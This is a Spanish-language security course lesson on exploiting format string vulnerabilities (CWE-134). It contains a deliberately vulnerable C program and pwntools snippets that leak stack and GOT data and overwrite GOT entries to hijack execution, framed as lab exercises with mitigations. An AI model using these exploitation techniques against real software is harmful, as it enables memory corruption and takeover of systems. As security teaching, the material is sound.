

Clase 125 — Vulnerabilidades de format string

Parte: 5 — Explotación de sistemas y binarios · Fuente: *Erickson, Hacking 2e* · CWE-134 🕒 Duración estimada: 120 min · Nivel: Avanzado

Objetivo

Entender y explotar las vulnerabilidades de **cadena de formato**, que aparecen cuando datos del usuario llegan sin control al primer argumento de `printf` / `fprintf` / `syslog`. Aprenderás a usar `%p` para leer la pila (info leak) y `%n` para escribir memoria arbitraria, dos primitivas potentísimas que permiten filtrar canarios/direcciones y sobrescribir la GOT.

⚠️ **Ética:** solo en binarios de laboratorio o retos autorizados.

Resultados de aprendizaje

Al finalizar, el alumno podrá:

- 1. **Reconocer** el patrón vulnerable (`printf(user_input)`).
- 2. **Filtrar** memoria con `%p` / `%x` y localizar el offset del argumento controlado.
- 3. **Escribir** valores con `%n` / `%hn` en direcciones elegidas.
- 4. **Sobrescribir** una entrada de la GOT para secuestrar el flujo.
- 5. **Automatizar** el ataque con `fmtstr_payload` de pwntools.

Temas

#	Tema	Por qué importa
1	Cómo funciona printf y sus especificadores	Origen del bug
2	%p/%x para leer la pila	Primitiva de lectura / info leak
3	Offset de argumento	Dónde cae tu entrada en la pila
4	%n para escribir	Primitiva de escritura arbitraria
5	Escritura con %hn/%hhn	Escrituras parciales controladas
6	Sobrescritura de la GOT	Convertir escritura en control de flujo
7	fmtstr_payload	Automatización con pwntools
8	Mitigaciones (FORTIFY, -Wformat)	Cómo se previene

Definiciones y características

- **Format string bug:** el usuario controla la cadena de formato de `printf`. *Clave:* CWE-134; permite lectura y escritura de memoria.
- `%p / %x` : vuelcan argumentos que `printf` cree recibir, en realidad valores de la pila. *Clave:* base del info leak.
- **Offset del argumento:** posición (`%N$p`) donde aparece tu buffer en la pila. *Clave:* se localiza enviando `AAAA %p %p %p ...` y buscando `0x41414141`.
- `%n` : escribe en la dirección apuntada el número de bytes ya impresos. *Clave:* convierte formato en escritura arbitraria.
- `%hn / %hhn` : escriben 2 bytes / 1 byte, permitiendo controlar el valor por partes. *Clave:* evita imprimir millones de caracteres.
- **fmtstr_payload:** genera el payload de escritura automáticamente. *Clave:* `fmtstr_payload(offset, {addr: value})`.

Herramientas y preparación

```
pip install pwntools
gcc -fno-stack-protector -no-pie -o fmt fmt.c # binario de práctica
```

Ejemplo vulnerable `fmt.c` :

```
#include <stdio.h>
int main(){ char b[128]; fgets(b,128,stdin); printf(b); return 0; }
```

Laboratorio guiado

Entorno propio.

1. Confirma la vulnerabilidad enviando `%p %p %p %p` : verás valores de la pila en vez del texto literal.
2. Localiza el offset de tu buffer:

```
bash printf 'AAAABBBB %1$p %2$p %3$p %4$p %5$p %6$p\n' | ./fmt
```

Cuenta hasta ver `0x42424242 ...` o `0x41414141` ; ese índice `N` es tu offset.

3. Fuga de una dirección de la GOT para derrotar ASLR:

```
python from pwn import * elf = context.binary = ELF("./fmt") p = process("./fmt")
p.sendline(b"%7$s".ljust(8) + p64(elf.got["printf"])) # ajusta offset
```

4. Escritura arbitraria con `%n` para sobrescribir la GOT (`printf` → `system`) usando pwntools:

```
python payload = fmtstr_payload(6, {elf.got["exit"]: elf.symbols["win"]}) p.sendline(payload)
```

(Ajusta el offset `6` al que hallaste en el paso 2.)

5. Verifica en GDB que la entrada de la GOT cambió (`x/gx &printf@got`).

6. Si el binario tiene FORTIFY_SOURCE, observa que `%n` en formato escribible es rechazado y comenta la mitigación.

Ejercicios

1. Determina el offset del argumento controlado en tu binario.
2. Filtra el stack canary de un binario con canary usando `%p`.
3. Escribe el valor `0xdeadbeef` en una variable global con `%n`.
4. Sobrescribe la GOT de `puts` con la dirección de `win`.
5. Compara payload manual vs `fmtstr_payload`.
6. Recompila con `-D_FORTIFY_SOURCE=2 -O2` y explica qué cambia.

Reto verificable

Entrega un exploit que, mediante una única cadena de formato, sobrescriba una entrada de la GOT para desviar la ejecución a `win()`.

Criterio de aceptación: al ejecutar el binario con tu entrada, se llama a `win()` (mensaje visible), y muestras en GDB la entrada GOT modificada.

Errores comunes

Síntoma / mensaje	Causa y cómo arreglar
<code>%p</code> imprime el texto literal	No es vulnerable, o <code>printf</code> recibe formato fijo
Offset incorrecto	Recuenta con <code>%N\$p</code> ; considera alineación del buffer
<code>%n</code> provoca crash	La dirección destino no es escribible o FORTIFY lo bloquea
Escritura enorme y lenta	Usa <code>%hn</code> / <code>%hhn</code> para escrituras parciales
Valor escrito equivocado	El contador de <code>printf</code> no coincide; ajusta el ancho

Preguntas frecuentes

? ¿Por qué `%n` es tan peligroso? Porque convierte una función de impresión en una primitiva de escritura arbitraria de memoria.

? ¿Sigue apareciendo este bug? Sí, sobre todo en C legacy y logging; `-Wformat-security` ayuda a detectarlo en compilación.

? ¿Puedo leer y escribir en el mismo payload? Sí, combinando `%s` / `%p` (lectura) con `%n` (escritura), aunque suele dividirse en fases.

Referencias

- CWE-134: Use of Externally-Controlled Format String — <https://cwe.mitre.org/data/definitions/134.html>
- Erickson, J. *Hacking: The Art of Exploitation*, 2e. No Starch Press.
- pwntools fmtstr — <https://docs.pwntools.com/en/stable/fmtstr.html>

- [scut/team teso](#), "Exploiting Format String Vulnerabilities" (paper clásico).



Material descargable

-  [Guía en PDF](#) — versión imprimible de esta clase.
-  [Presentación \(PPTX\)](#) — deck para proyectar en clase.



Siguiente clase

[Clase 126 - Explotacion de heap: fundamentos](#)